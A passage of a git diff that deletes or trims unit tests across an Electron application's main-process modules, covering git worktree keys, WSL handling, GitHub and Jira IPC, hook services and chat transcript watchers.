.spyOn(DaemonClient.prototype, 'request') - .mockRejectedValue(new Error('Unknown request type: terminalLimitStatus')) - const adapter = new DaemonPtyAdapter({ - socketPath: '/tmp/orca-limit-old.sock', - tokenPath: '/tmp/orca-limit-old.token' - }) - try { - await expect(adapter.terminalLimit()).resolves.toBeNull() - request.mockRejectedValue(new Error('socket closed')) - await expect(adapter.terminalLimit()).rejects.toThrow('socket closed') - } finally { - adapter.dispose() - } -}) - it('fences an actual pending save when the server shuts down before replacement', async () => { directory = mkdtempSync(join(tmpdir(), 'terminal-limit-shutdown-')) const path = join(directory, 'policy', 'terminals.json') diff --git a/src/main/git/canonical-repo-key.test.ts b/src/main/git/canonical-repo-key.test.ts index 3ae96da7ea3..5e06a9b1e0b 100644 --- a/src/main/git/canonical-repo-key.test.ts +++ b/src/main/git/canonical-repo-key.test.ts @@ -23,10 +23,6 @@ afterEach(() => { }) describe('readGitCommonDir', () => { - it('reads the absolute answer modern Git gives', () => { - expect(readGitCommonDir('/repo/.git\n', '/repo/worktrees/a')).toBe('/repo/.git') - }) - it('drops the flag Git older than 2.31 echoes back, and resolves the relative answer', () => { expect(readGitCommonDir('--path-format=absolute\n.git\n', '/repo')).toBe('/repo/.git') }) @@ -34,32 +30,9 @@ describe('readGitCommonDir', () => { it('resolves a WSL answer in Git execution space, not against the UNC path', () => { expect(readGitCommonDir('.git\n', '//wsl$/Ubuntu/home/dev/repo')).toBe('/home/dev/repo/.git') }) - - it('tolerates CRLF and blank lines', () => { - expect(readGitCommonDir('\r\n/repo/.git\r\n', '/repo')).toBe('/repo/.git') - }) - - it('returns undefined when Git printed nothing usable', () => { - expect(readGitCommonDir('\n', '/repo')).toBeUndefined() - }) }) describe('getCanonicalRepoKey', () => { - it('gives every worktree of one repository the same key', async () => { - gitExecFileAsyncMock.mockResolvedValue({ stdout: '/repo/.git\n', stderr: '' }) - - await expect(getCanonicalRepoKey('/repo')).resolves.toBe('local::/repo/.git') - await expect(getCanonicalRepoKey('/repo/worktrees/a')).resolves.toBe('local::/repo/.git') - }) - - it('scopes the key to the execution host', async () => { - gitExecFileAsyncMock.mockResolvedValue({ stdout: '/home/dev/repo/.git\n', stderr: '' }) - - await expect( - getCanonicalRepoKey('//wsl$/Ubuntu/home/dev/repo', { wslDistro: 'Ubuntu' }) - ).resolves.toBe('wsl:Ubuntu::/home/dev/repo/.git') - }) - it('caches so repeated arming costs no subprocess', async () => { gitExecFileAsyncMock.mockResolvedValue({ stdout: '/repo/.git\n', stderr: '' }) @@ -68,10 +41,4 @@ describe('getCanonicalRepoKey', () => { expect(gitExecFileAsyncMock).toHaveBeenCalledTimes(1) }) - - it('falls back to the caller path when Git cannot answer', async () => { - gitExecFileAsyncMock.mockRejectedValue(new Error('not a git repository')) - - await expect(getCanonicalRepoKey('/not-a-repo')).resolves.toBe('local::/not-a-repo') - }) }) diff --git a/src/main/git/command-runner/wsl-host-failure.test.ts b/src/main/git/command-runner/wsl-host-failure.test.ts index aaef4140a26..d8c55da9064 100644 --- a/src/main/git/command-runner/wsl-host-failure.test.ts +++ b/src/main/git/command-runner/wsl-host-failure.test.ts @@ -16,7 +16,7 @@ vi.mock('../../diagnostics/main-thread-churn-probe', () => ({ recordSubprocessSp import { gitExecFileAsync } from '../runner' import { _resetGitAdmissionForTests } from './git-subprocess-admission' -import { nonInteractiveGitEnv } from './git-process-env' + import { annotateWslHostFailure, readWslHostFailureDiagnostic } from './wsl-host-failure' import type { ResolvedCommand } from './wsl-command-resolution' @@ -106,11 +106,6 @@ describe('WSL-routed git subprocess', () => { _resetGitAdmissionForTests() }) - it('sets WSL_UTF8 so wsl.exe explains itself in UTF-8', () => { - expect(nonInteractiveGitEnv({}, 'win32').WSL_UTF8).toBe('1') - expect(nonInteractiveGitEnv({}, 'darwin').WSL_UTF8).toBeUndefined() - }) - it('reports a dead distro instead of an empty git error', async () => { execFileMock.mockImplementation((_command, _args, _options, callback) => { const child = new EventEmitter() as EventEmitter & { pid: number; kill: () => void } diff --git a/src/main/ipc/github-issue-source-preference.test.ts b/src/main/ipc/github-issue-source-preference.test.ts deleted file mode 100644 index 4b5103dabf5..00000000000 --- a/src/main/ipc/github-issue-source-preference.test.ts +++ /dev/null @@ -1,254 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const mocks = await vi.hoisted(async () => { - const { createGitHubIpcMocks } = await import('./github-ipc-module-mocks') - return createGitHubIpcMocks() -}) - -vi.mock('electron', () => mocks.electron) -vi.mock('../github/client', () => mocks.client) -vi.mock('../github/work-item-details', () => mocks.workItemDetails) -vi.mock('../github/pr-refresh-coordinator', () => mocks.prRefresh) -vi.mock('../telemetry/client', () => mocks.telemetry) -vi.mock('../telemetry/cohort-classifier', () => mocks.cohort) -vi.mock('./ui', () => mocks.ui) - -import { registerGitHubHandlers } from './github' -import { createGitHubIpcHarness } from './github-ipc-test-harness' - -const { - listIssues: listIssuesMock, - listWorkItems: listWorkItemsMock, - getWorkItem: getWorkItemMock -} = mocks.client -const { getWorkItemDetails: getWorkItemDetailsMock } = mocks.workItemDetails - -describe('registerGitHubHandlers', () => { - const harness = createGitHubIpcHarness(mocks) - const { handlers, store, stats } = harness - - beforeEach(harness.reset) - - it('drops the error field from listIssues envelope at the IPC boundary', async () => { - // Preserve legacy gh:listIssues arrays; only gh:listWorkItems exposes the richer items/error envelope. - listIssuesMock.mockResolvedValue({ - items: [], - error: { - type: 'permission_denied', - message: - "You don't have permission to read issues for this repository. Check your GitHub token scopes." - } - }) - - registerGitHubHandlers(store as never, stats as never) - - const result = await handlers['gh:listIssues'](null, { - repoPath: '/workspace/repo', - limit: 5 - }) - - expect(listIssuesMock).toHaveBeenCalledWith('/workspace/repo', 5, undefined, null) - expect(result).toEqual([]) - }) - - it('threads issueSourcePreference through gh:listIssues', async () => { - // Use a nondefault preference so missing argument forwarding cannot pass silently. - harness.repos[0].issueSourcePreference = 'upstream' - listIssuesMock.mockResolvedValue({ items: [] }) - - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:listIssues'](null, { - repoPath: '/workspace/repo', - limit: 5 - }) - - expect(listIssuesMock).toHaveBeenCalledWith('/workspace/repo', 5, 'upstream', null) - }) - - it('threads issueSourcePreference through gh:listWorkItems', async () => { - harness.repos[0].issueSourcePreference = 'origin' - listWorkItemsMock.mockResolvedValue({ items: [] }) - - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:listWorkItems'](null, { - repoPath: '/workspace/repo', - limit: 10, - query: 'is:open', - page: 2, - noCache: true - }) - - expect(listWorkItemsMock).toHaveBeenCalledWith( - '/workspace/repo', - 10, - 'is:open', - 2, - 'origin', - null, - true - ) - }) - - // Open-by-number must use the listed source when origin/upstream share an item number. - it('pins the repo origin source preference on work item and details IPC', async () => { - harness.repos = [ - { - id: 'repo-1', - path: '/workspace/repo', - displayName: 'repo', - badgeColor: '#000', - addedAt: 0, - issueSourcePreference: 'origin' - } - ] - getWorkItemMock.mockResolvedValue(null) - getWorkItemDetailsMock.mockResolvedValue(null) - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:workItem'](null, { repoPath: '/workspace/repo', number: 42, type: 'pr' }) - await handlers['gh:workItemDetails'](null, { - repoPath: '/workspace/repo', - number: 42, - type: 'pr' - }) - - expect(getWorkItemMock).toHaveBeenCalledWith( - '/workspace/repo', - 42, - 'pr', - null, - undefined, - 'origin' - ) - expect(getWorkItemDetailsMock).toHaveBeenCalledWith( - '/workspace/repo', - 42, - 'pr', - null, - undefined, - 'origin' - ) - }) - - it('passes the displayed repository ahead of the current source preference', async () => { - harness.repos[0].issueSourcePreference = 'upstream' - const ownerRepo = { owner: 'fork-owner', repo: 'widgets', host: 'github.com' } - mocks.client.updateIssue.mockResolvedValue({ ok: false, error: 'stub' }) - getWorkItemDetailsMock.mockResolvedValue(null) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: These fixtures implement the repo methods used by the handlers; unrelated handlers are only registered. - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:workItemDetails'](null, { - repoPath: '/workspace/repo', - number: 12, - type: 'issue', - ownerRepo - }) - await handlers['gh:updateIssue'](null, { - repoPath: '/workspace/repo', - number: 12, - updates: { body: 'Origin edit' }, - ownerRepo - }) - await handlers['gh:listLabels'](null, { repoPath: '/workspace/repo', ownerRepo }) - await handlers['gh:listAssignableUsers'](null, { repoPath: '/workspace/repo', ownerRepo }) - - expect(getWorkItemDetailsMock).toHaveBeenCalledWith( - '/workspace/repo', - 12, - 'issue', - null, - undefined, - 'upstream', - ownerRepo - ) - expect(mocks.client.updateIssue).toHaveBeenCalledWith( - '/workspace/repo', - 12, - { body: 'Origin edit' }, - null, - undefined, - 'upstream', - ownerRepo - ) - expect(mocks.client.listLabels).toHaveBeenCalledWith( - '/workspace/repo', - 'upstream', - null, - undefined, - ownerRepo - ) - expect(mocks.client.listAssignableUsers).toHaveBeenCalledWith( - '/workspace/repo', - 'upstream', - null, - undefined, - ownerRepo - ) - }) - - it('pins the repo origin source preference on issue update and comment IPC', async () => { - harness.repos = [ - { - id: 'repo-1', - path: '/workspace/repo', - displayName: 'repo', - badgeColor: '#000', - addedAt: 0, - issueSourcePreference: 'origin' - } - ] - mocks.client.updateIssue.mockResolvedValue({ ok: false, error: 'stub' }) - mocks.client.addIssueComment.mockResolvedValue({ ok: false, error: 'stub' }) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: These fixtures implement the repo methods used by the handlers; unrelated handlers are only registered. - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:updateIssue'](null, { - repoPath: '/workspace/repo', - number: 5, - updates: { body: 'Updated' } - }) - await handlers['gh:addIssueComment'](null, { - repoPath: '/workspace/repo', - number: 5, - body: 'Issue comment' - }) - await handlers['gh:addIssueComment'](null, { - repoPath: '/workspace/repo', - number: 6, - body: 'PR comment', - type: 'pr' - }) - - expect(mocks.client.updateIssue).toHaveBeenCalledWith( - '/workspace/repo', - 5, - { body: 'Updated' }, - null, - undefined, - 'origin' - ) - expect(mocks.client.addIssueComment).toHaveBeenNthCalledWith( - 1, - '/workspace/repo', - 5, - 'Issue comment', - null, - null, - undefined, - 'origin' - ) - expect(mocks.client.addIssueComment).toHaveBeenNthCalledWith( - 2, - '/workspace/repo', - 6, - 'PR comment', - null, - null, - undefined, - undefined - ) - }) -}) diff --git a/src/main/ipc/source-control-ai-linked-issue.test.ts b/src/main/ipc/source-control-ai-linked-issue.test.ts index c45499eee02..fd46bbb293b 100644 --- a/src/main/ipc/source-control-ai-linked-issue.test.ts +++ b/src/main/ipc/source-control-ai-linked-issue.test.ts @@ -15,19 +15,6 @@ function makeStore(meta: Record): Store } describe('resolveSourceControlAiLinkedIssue', () => { - it('reads meta with the raw id when the id matches the request path', () => { - const store = makeStore({ [LOCAL_ID]: { linkedIssue: 123 } }) - - expect( - resolveSourceControlAiLinkedIssue(store, { - worktreeId: LOCAL_ID, - worktreePath: LOCAL_PATH, - repoId: 'repo-1' - }) - ).toBe(123) - expect(store.getWorktreeMeta).toHaveBeenCalledWith(LOCAL_ID) - }) - it('keeps the folder-repo instance suffix in the meta key while validating the stripped path', () => { const instanceId = `${LOCAL_ID}::workspace:${'0'.repeat(8)}-0000-0000-0000-${'0'.repeat(12)}` const store = makeStore({ [instanceId]: { linkedIssue: 9 } }) @@ -121,50 +108,4 @@ describe('resolveSourceControlAiLinkedIssue', () => { Object.defineProperty(process, 'platform', original) } }) - - it('returns null without touching the store when no id is supplied', () => { - const store = makeStore({ [LOCAL_ID]: { linkedIssue: 123 } }) - - expect(resolveSourceControlAiLinkedIssue(store, { worktreePath: LOCAL_PATH })).toBeNull() - expect(store.getWorktreeMeta).not.toHaveBeenCalled() - }) - - it('tolerates a store without a meta accessor', () => { - expect( - resolveSourceControlAiLinkedIssue({} as Store, { - worktreeId: LOCAL_ID, - worktreePath: LOCAL_PATH - }) - ).toBeNull() - }) - - it('returns null for unparsable ids and unlinked or unusable meta', () => { - expect( - resolveSourceControlAiLinkedIssue(makeStore({}), { - worktreeId: 'no-separator', - worktreePath: LOCAL_PATH - }) - ).toBeNull() - for (const linkedIssue of [null, undefined, Number.NaN, 0, -7, 12.9]) { - expect( - resolveSourceControlAiLinkedIssue(makeStore({ [LOCAL_ID]: { linkedIssue } }), { - worktreeId: LOCAL_ID, - worktreePath: LOCAL_PATH - }) - ).toBeNull() - } - }) - - it('does not fall back to a GitLab-linked issue', () => { - const store = { - getWorktreeMeta: vi.fn(() => ({ linkedIssue: null, linkedGitLabIssue: 456 })) - } as unknown as Store - - expect( - resolveSourceControlAiLinkedIssue(store, { - worktreeId: LOCAL_ID, - worktreePath: LOCAL_PATH - }) - ).toBeNull() - }) }) diff --git a/src/main/jira/adf-link-mapping.test.ts b/src/main/jira/adf-link-mapping.test.ts index 62f2b046bd5..8a5baaeb956 100644 --- a/src/main/jira/adf-link-mapping.test.ts +++ b/src/main/jira/adf-link-mapping.test.ts @@ -63,20 +63,6 @@ function makeEntry(id = 'site-1'): JiraClientForSite { } } -function makeServerEntry(id = 'server-1'): JiraClientForSite { - return { - site: { - id, - siteUrl: 'https://jira.example.com', - email: '', - displayName: 'Self-hosted Jira', - accountId: 'wquintal', - authType: 'server' - }, - authorization: 'Bearer pat-token' - } -} - describe('Jira ADF link mark mapping', () => { beforeEach(async () => { vi.clearAllMocks() @@ -132,83 +118,6 @@ describe('Jira ADF link mark mapping', () => { expect(issue.description).toBe('See [Design spec](https://example.com/spec).') }) - it('leaves Server/DC plain-text descriptions unchanged', async () => { - const { mapJiraIssue } = await import('./issues') - - const issue = mapJiraIssue(makeServerEntry().site, { - id: 'issue-server-1', - key: 'SRV-1', - fields: { - summary: 'Server body', - description: 'Plain body with https://example.com raw URL', - project: { id: '1', key: 'SRV', name: 'Server' }, - issuetype: { id: '1', name: 'Bug' }, - status: { - id: '1', - name: 'Open', - statusCategory: { key: 'new', name: 'To Do' } - }, - labels: [], - created: '2026-06-18T00:00:00.000Z', - updated: '2026-06-18T00:00:00.000Z' - } - }) - - expect(issue.description).toBe('Plain body with https://example.com raw URL') - }) - - it('maps ADF link marks in comments to Markdown hyperlinks', async () => { - jiraRequestMock.mockResolvedValueOnce({ - comments: [ - { - id: 'comment-link-1', - body: { - type: 'doc', - version: 1, - content: [ - { - type: 'paragraph', - content: [ - { - type: 'text', - text: 'Follow-up', - marks: [{ type: 'link', attrs: { href: 'https://example.com/follow-up' } }] - } - ] - } - ] - }, - created: '2026-05-30T12:00:00.000Z', - author: { accountId: 'user-1', displayName: 'Ada' } - } - ] - }) - - const { getIssueComments } = await import('./issues') - const comments = await getIssueComments('ALP-1', 'site-1') - - expect(jiraRequestMock).toHaveBeenCalledTimes(1) - expect(jiraRequestMock).toHaveBeenCalledWith( - expect.objectContaining({ site: expect.objectContaining({ id: 'site-1' }) }), - expect.stringContaining('/issue/ALP-1/comment?') - ) - expect(comments[0]?.body).toBe('[Follow-up](https://example.com/follow-up)') - }) - - it('leaves Server/DC plain-text comments unchanged', async () => { - getClientsMock.mockReturnValue([makeServerEntry()]) - jiraRequestMock.mockResolvedValueOnce({ - comments: [{ id: '1', body: '[Design spec|https://example.com/spec]', created: '2026-05-30' }] - }) - const { getIssueComments } = await import('./issues') - const comments = await getIssueComments('SRV-1', 'server-1') - expect(comments[0]?.body).toBe('[Design spec|https://example.com/spec]') - expect(jiraRequestMock).toHaveBeenCalledWith( - expect.anything(), - expect.stringContaining('/rest/api/2/issue/SRV-1/comment?') - ) - }) - it('keeps media markdown when links and images share a description', async () => { const resolveMedia = () => '![shot.png](data:image/png;base64,abc)' const { adfToMarkdownText } = await import('./adf-markdown') diff --git a/src/main/muse/hook-service.test.ts b/src/main/muse/hook-service.test.ts index 58e9c389d4d..75e9db2795e 100644 --- a/src/main/muse/hook-service.test.ts +++ b/src/main/muse/hook-service.test.ts @@ -55,10 +55,6 @@ const scriptPath = (): string => ) describe('MuseHookService', () => { - it('reports not_installed before install', () => { - expect(new MuseHookService().getStatus().state).toBe('not_installed') - }) - it('installs the managed hooks pointer, file, and script', () => { const status = new MuseHookService().install() expect(status.state).toBe('installed') @@ -105,17 +101,6 @@ describe('MuseHookService', () => { expect(afterRemove?.model).toBe('muse-spark-1.2') }) - it('reports not_installed when the pointer aims elsewhere', () => { - mkdirSync(join(home, '.config', 'muse'), { recursive: true }) - writeFileSync( - configPath(), - JSON.stringify({ schema_version: 1, managed_hooks_path: '/central/hooks.json' }) - ) - const status = new MuseHookService().getStatus() - expect(status.state).toBe('not_installed') - expect(status.detail).toContain('/central/hooks.json') - }) - it('does not overwrite a user-managed hooks pointer during install', () => { mkdirSync(join(home, '.config', 'muse'), { recursive: true }) const userPath = '/user-owned/muse-hooks.json' diff --git a/src/main/native-chat/native-chat-visuals-sweep.test.ts b/src/main/native-chat/native-chat-visuals-sweep.test.ts index 736a5d096e5..5c4f014b81b 100644 --- a/src/main/native-chat/native-chat-visuals-sweep.test.ts +++ b/src/main/native-chat/native-chat-visuals-sweep.test.ts @@ -130,31 +130,6 @@ describe('the visuals folder sweep', () => { expect(existsSync(join(target, 'keep.txt'))).toBe(true) }) - it('reports a removal that fails and carries on', async () => { - const state = stateDirectory() - visualsFor(state, 'chat-x') - visualsFor(state, 'chat-y') - const sweep = deps(state, []) - const result = await sweepNativeChatVisualsFolders({ - ...sweep, - remove: vi - .fn() - .mockRejectedValueOnce(Object.assign(new Error('busy'), { code: 'EBUSY' })) - .mockResolvedValueOnce(undefined) - }) - expect(result).toEqual({ removed: 1, failed: 1 }) - expect(sweep.logger.warn).toHaveBeenCalledWith( - 'native-chat scratch folder could not be removed', - expect.objectContaining({ scope: 'nativeChatVisuals.sweep', reason: 'no-record' }) - ) - }) - - it('does nothing on a host with no visuals yet', async () => { - await expect( - sweepNativeChatVisualsFolders(deps(stateDirectory(), ['chat-a'])) - ).resolves.toEqual({ removed: 0, failed: 0 }) - }) - it('runs after startup and again later, and stops for good', async () => { const state = stateDirectory() const orphan = visualsFor(state, 'chat-z') diff --git a/src/main/native-chat/transcript-watch-engine-wsl-lifecycle.test.ts b/src/main/native-chat/transcript-watch-engine-wsl-lifecycle.test.ts index 51569737e72..053f5451af1 100644 --- a/src/main/native-chat/transcript-watch-engine-wsl-lifecycle.test.ts +++ b/src/main/native-chat/transcript-watch-engine-wsl-lifecycle.test.ts @@ -129,29 +129,6 @@ describe('installed WSL transcript watcher lifecycle', () => { subscription?.unsubscribe() }) - it('returns the running reconciliation promise to the shared observer', async () => { - const subscription = await installTranscriptWatcher(UNC_PATH, () => null, { - agent: 'codex', - sessionId: 'wsl-session', - onAppend: () => {} - }) - await vi.advanceTimersByTimeAsync(50) - let finishStat: (() => void) | undefined - mocks.stat.mockImplementationOnce( - () => - new Promise((resolve) => { - finishStat = () => resolve(EMPTY_STATS) - }) - ) - - const reconciliation = mocks.observation?.(true) - expect(reconciliation).toBeInstanceOf(Promise) - await vi.waitFor(() => expect(finishStat).toBeDefined()) - finishStat?.() - await reconciliation - subscription?.unsubscribe() - }) - it('defers a failed observed UNC probe to the next shared observation', async () => { const subscription = await installTranscriptWatcher(UNC_PATH, () => null, { agent: 'codex', diff --git a/src/main/native-chat/transcript-watch-error.test.ts b/src/main/native-chat/transcript-watch-error.test.ts index d2cf5c2bd9f..7dc72ca8f06 100644 --- a/src/main/native-chat/transcript-watch-error.test.ts +++ b/src/main/native-chat/transcript-watch-error.test.ts @@ -53,27 +53,6 @@ afterEach(async () => { }) describe('native chat transcript watcher errors', () => { - it('handles a watcher error and rebinds after the directory is readable', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-native-chat-watch-error-')) - roots.push(root) - const filePath = join(root, 'transcript.jsonl') - await writeFile(filePath, '') - const subscription = await subscribeNativeChatTranscript({ - agent: 'claude', - sessionId: 'session', - filePath, - onAppend: () => {}, - debounceMs: 0 - }) - - expect(() => watchers[0]!.emit('error', new Error('EPERM'))).not.toThrow() - await vi.waitFor(() => expect(watchMock).toHaveBeenCalledTimes(2)) - - subscription.unsubscribe() - expect(watchers[0]!.close).toHaveBeenCalledOnce() - expect(watchers[1]!.close).toHaveBeenCalledOnce() - }) - it('keeps retrying after the old recovery window and tails a recreated directory', async () => { const root = await mkdtemp(join(tmpdir(), 'orca-native-chat-watch-gap-')) roots.push(root) @@ -113,34 +92,6 @@ describe('native chat transcript watcher errors', () => { expect(watchers[1]!.close).toHaveBeenCalledOnce() }) - it('surfaces an error snapshot when the initial drain throws', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-native-chat-initial-error-')) - roots.push(root) - const filePath = join(root, 'transcript.jsonl') - await writeFile(filePath, '') - tailReaderState.failure = new Error('deterministic read failure') - const onInitialSnapshot = vi.fn() - const onAppend = vi.fn() - const subscription = await subscribeNativeChatTranscript({ - agent: 'claude', - sessionId: 'session', - filePath, - onInitialSnapshot, - onAppend, - initialLimit: 40, - debounceMs: 0 - }) - expect(subscription.watching).toBe(true) - - await vi.waitFor(() => - expect(onInitialSnapshot).toHaveBeenCalledWith([], false, 0, 'Transcript unavailable') - ) - await new Promise((resolve) => setTimeout(resolve, 120)) - expect(onInitialSnapshot).toHaveBeenCalledOnce() - - subscription.unsubscribe() - }) - it('still wins with a real initial snapshot once the transcript becomes readable', async () => { const root = await mkdtemp(join(tmpdir(), 'orca-native-chat-initial-recover-')) roots.push(root) diff --git a/src/main/native-chat/transcript-watch-resolve-poll.test.ts b/src/main/native-chat/transcript-watch-resolve-poll.test.ts index 135ea85a2bb..300a6094c8d 100644 --- a/src/main/native-chat/transcript-watch-resolve-poll.test.ts +++ b/src/main/native-chat/transcript-watch-resolve-poll.test.ts @@ -124,19 +124,6 @@ describe('native chat transcript resolve polling', () => { subscription.unsubscribe() }) - it('keeps resolving on every retry when no exact hook path is available', async () => { - const subscription = await subscribeNativeChatTranscript({ - agent: 'claude', - sessionId: 'session-id', - resolvePollIntervalMs: 10, - onAppend: () => {} - }) - - await vi.advanceTimersByTimeAsync(35) - expect(mocks.resolve.mock.calls.length).toBeGreaterThan(1) - subscription.unsubscribe() - }) - it('degrades a gate-refused initial resolve to the poll fallback instead of failing', async () => { const engine = { unsubscribe: vi.fn(), watching: true } mocks.resolve @@ -160,18 +147,6 @@ describe('native chat transcript resolve polling', () => { expect(engine.unsubscribe).toHaveBeenCalled() }) - it('still fails subscribe on non-gate resolver errors', async () => { - mocks.resolve.mockRejectedValueOnce(new Error('resolver crashed')) - - await expect( - subscribeNativeChatTranscript({ - agent: 'claude', - sessionId: 'session-id', - onAppend: () => {} - }) - ).rejects.toThrow('resolver crashed') - }) - it('cancels queued WSL resolution when the subscription closes', async () => { setPlatform('win32') let receivedSignal: AbortSignal | undefined diff --git a/src/main/native-chat/transcript-watch-wsl-exact-path.test.ts b/src/main/native-chat/transcript-watch-wsl-exact-path.test.ts index 72e26ce7cb0..7aea340b037 100644 --- a/src/main/native-chat/transcript-watch-wsl-exact-path.test.ts +++ b/src/main/native-chat/transcript-watch-wsl-exact-path.test.ts @@ -113,26 +113,6 @@ describe('exact hook path install on a Windows host with WSL (#10326)', () => { subscription.unsubscribe() }) - it('passes the raw path through untouched off Windows', async () => { - setPlatform('darwin') - const subscription = await subscribeNativeChatTranscript({ - agent: 'codex', - sessionId: 'wsl-sess', - transcriptPath: ROLLOUT_LINUX, - resolvePollIntervalMs: 10, - onAppend: () => {} - }) - - await vi.advanceTimersByTimeAsync(50) - expect(mocks.install).toHaveBeenCalledWith( - ROLLOUT_LINUX, - expect.anything(), - expect.anything(), - expect.any(AbortSignal) - ) - subscription.unsubscribe() - }) - it('validates an exact UNC path without probing distro homes', async () => { setPlatform('win32') const subscription = await subscribeNativeChatTranscript({ @@ -154,23 +134,6 @@ describe('exact hook path install on a Windows host with WSL (#10326)', () => { subscription.unsubscribe() }) - it('does not install an already-UNC path after its distro stops', async () => { - setPlatform('win32') - mocks.listRunningWslDistrosAsync.mockResolvedValue([]) - const subscription = await subscribeNativeChatTranscript({ - agent: 'codex', - sessionId: 'wsl-sess', - transcriptPath: ROLLOUT_UNC, - resolvePollIntervalMs: 10, - onAppend: () => {} - }) - - await vi.advanceTimersByTimeAsync(2_100) - expect(mocks.listRunningWslDistrosAsync).toHaveBeenCalledTimes(1) - expect(mocks.install).not.toHaveBeenCalled() - subscription.unsubscribe() - }) - it('does not run broad id fallback for an unresolved exact WSL path', async () => { setPlatform('win32') mocks.listRunningWslDistrosAsync.mockResolvedValue([]) diff --git a/src/main/native-chat/transcript-watch-wsl-stall.test.ts b/src/main/native-chat/transcript-watch-wsl-stall.test.ts index 6754db50724..a83f91272e7 100644 --- a/src/main/native-chat/transcript-watch-wsl-stall.test.ts +++ b/src/main/native-chat/transcript-watch-wsl-stall.test.ts @@ -39,15 +39,8 @@ const SLOW_MESSAGE = type Snapshot = [NativeChatMessage[], boolean, number, string | undefined] -let releaseStall: (() => void) | undefined let unhandled: unknown[] = [] -function stalls(): Promise { - return new Promise((resolve) => { - releaseStall = () => resolve(undefined as T) - }) -} - function subscribeCollecting(snapshots: Snapshot[]) { return subscribeNativeChatTranscript({ agent: 'claude', @@ -72,14 +65,12 @@ beforeEach(() => { mocks.resolve.mockReset() mocks.stat.mockReset() mocks.open.mockReset() - releaseStall = undefined unhandled = [] process.on('unhandledRejection', trackUnhandled) vi.useFakeTimers() }) afterEach(async () => { - releaseStall?.() await vi.advanceTimersByTimeAsync(0) vi.useRealTimers() process.off('unhandledRejection', trackUnhandled) @@ -165,18 +156,4 @@ describe('native chat transcript subscription with a stalled install stat', () = expect(handle.close).toHaveBeenCalledTimes(1) expect(unhandled).toEqual([]) }) - - it('tears down cleanly while an admission is still stalled', async () => { - mocks.resolve.mockResolvedValue(UNC_PATH) - mocks.stat.mockImplementation(stalls) - const snapshots: Snapshot[] = [] - - const subscribing = subscribeCollecting(snapshots) - await vi.advanceTimersByTimeAsync(WSL_TRANSCRIPT_FS_EXACT_TIMEOUT_MS + 1) - const subscription = await subscribing - - expect(() => subscription.unsubscribe()).not.toThrow() - await vi.advanceTimersByTimeAsync(WSL_TRANSCRIPT_FS_EXACT_TIMEOUT_MS + 1) - expect(unhandled).toEqual([]) - }) }) diff --git a/src/main/native-chat/wsl-transcript-fs-route-quarantine.test.ts b/src/main/native-chat/wsl-transcript-fs-route-quarantine.test.ts index de6a9e7a16d..782ce89a59e 100644 --- a/src/main/native-chat/wsl-transcript-fs-route-quarantine.test.ts +++ b/src/main/native-chat/wsl-transcript-fs-route-quarantine.test.ts @@ -6,12 +6,7 @@ import { WSL_TRANSCRIPT_FS_ROUTE_QUARANTINE_BASE_MS, WSL_TRANSCRIPT_FS_SCAN_TIMEOUT_MS } from './wsl-transcript-fs-gate' -import { - _getBlockedRouteCountForTests, - quarantineRoute, - resetRouteQuarantinesForTests, - WSL_TRANSCRIPT_FS_ROUTE_STRIKE_DECAY_MS -} from './wsl-transcript-fs-route-quarantine' +import { WSL_TRANSCRIPT_FS_ROUTE_STRIKE_DECAY_MS } from './wsl-transcript-fs-route-quarantine' function deferred(): { promise: Promise @@ -144,12 +139,3 @@ describe('WSL transcript fs route quarantine strike accounting', () => { } }) }) - -it('bounds retired route entries', () => { - resetRouteQuarantinesForTests() - for (let index = 0; index < 600; index += 1) { - quarantineRoute(`route-${index}`, 1_000, 0) - } - - expect(_getBlockedRouteCountForTests()).toBeLessThanOrEqual(512) -}) diff --git a/src/main/opencode/hook-service-startup-refresh.test.ts b/src/main/opencode/hook-service-startup-refresh.test.ts index 09028d9589b..c179d5e0b54 100644 --- a/src/main/opencode/hook-service-startup-refresh.test.ts +++ b/src/main/opencode/hook-service-startup-refresh.test.ts @@ -69,13 +69,6 @@ describe('OpenCodeHookService.refreshInstalledPlugins (app start)', () => { expect(readFileSync(join(pluginsDir, TUI_ENTRY), 'utf8')).toBe(getOpenCode2PluginSource()) }) - it('never creates an install the user did not already have', () => { - openCode2HookService.refreshInstalledPlugins() - - expect(existsSync(resolveOpenCodeConfigDirectory())).toBe(false) - expect(existsSync(join(userDataDir, 'opencode2-config-overlays'))).toBe(false) - }) - it('leaves a current install untouched so nothing reloads', () => { const pluginsDir = join(resolveOpenCodeConfigDirectory(), 'plugins') mkdirSync(join(pluginsDir, 'orca-opencode2-status-tui'), { recursive: true }) diff --git a/src/main/orca-profiles/profile-cloud-session-store.test.ts b/src/main/orca-profiles/profile-cloud-session-store.test.ts index 2a7153c901d..ca32f0529f1 100644 --- a/src/main/orca-profiles/profile-cloud-session-store.test.ts +++ b/src/main/orca-profiles/profile-cloud-session-store.test.ts @@ -136,17 +136,6 @@ describe('Orca cloud session store', () => { } }) - it('bounds memory-session cache churn', async () => { - const store = await loadSessionStore() - const session = makeSession() - - for (let index = 0; index < store.MAX_MEMORY_CLOUD_SESSIONS + 4; index += 1) { - store.saveOrcaCloudSession(`profile-${index}`, userDataPath, session) - } - - expect(store.getOrcaCloudMemorySessionCountForTests()).toBe(store.MAX_MEMORY_CLOUD_SESSIONS) - }) - it('writes explicit dev plaintext only when the dev escape hatch is enabled', async () => { safeStorageMock.isEncryptionAvailable.mockReturnValue(false) vi.stubEnv('ORCA_CLOUD_ALLOW_PLAINTEXT_SESSION', '1') diff --git a/src/main/orcad/orcad-native-preflight.test.ts b/src/main/orcad/orcad-native-preflight.test.ts deleted file mode 100644 index 321787aa4e0..00000000000 --- a/src/main/orcad/orcad-native-preflight.test.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { afterEach, describe, expect, it, vi } from 'vitest' -import { runOrcadNativePreflight, runOrcadNativePreflightVerdict } from './orcad-native-preflight' -import { ORCAD_EXIT_CONFIGURATION } from './orcad-configuration-exit' -import { - runtimeTerminalDegradation, - setRuntimeTerminalUnavailableCause -} from 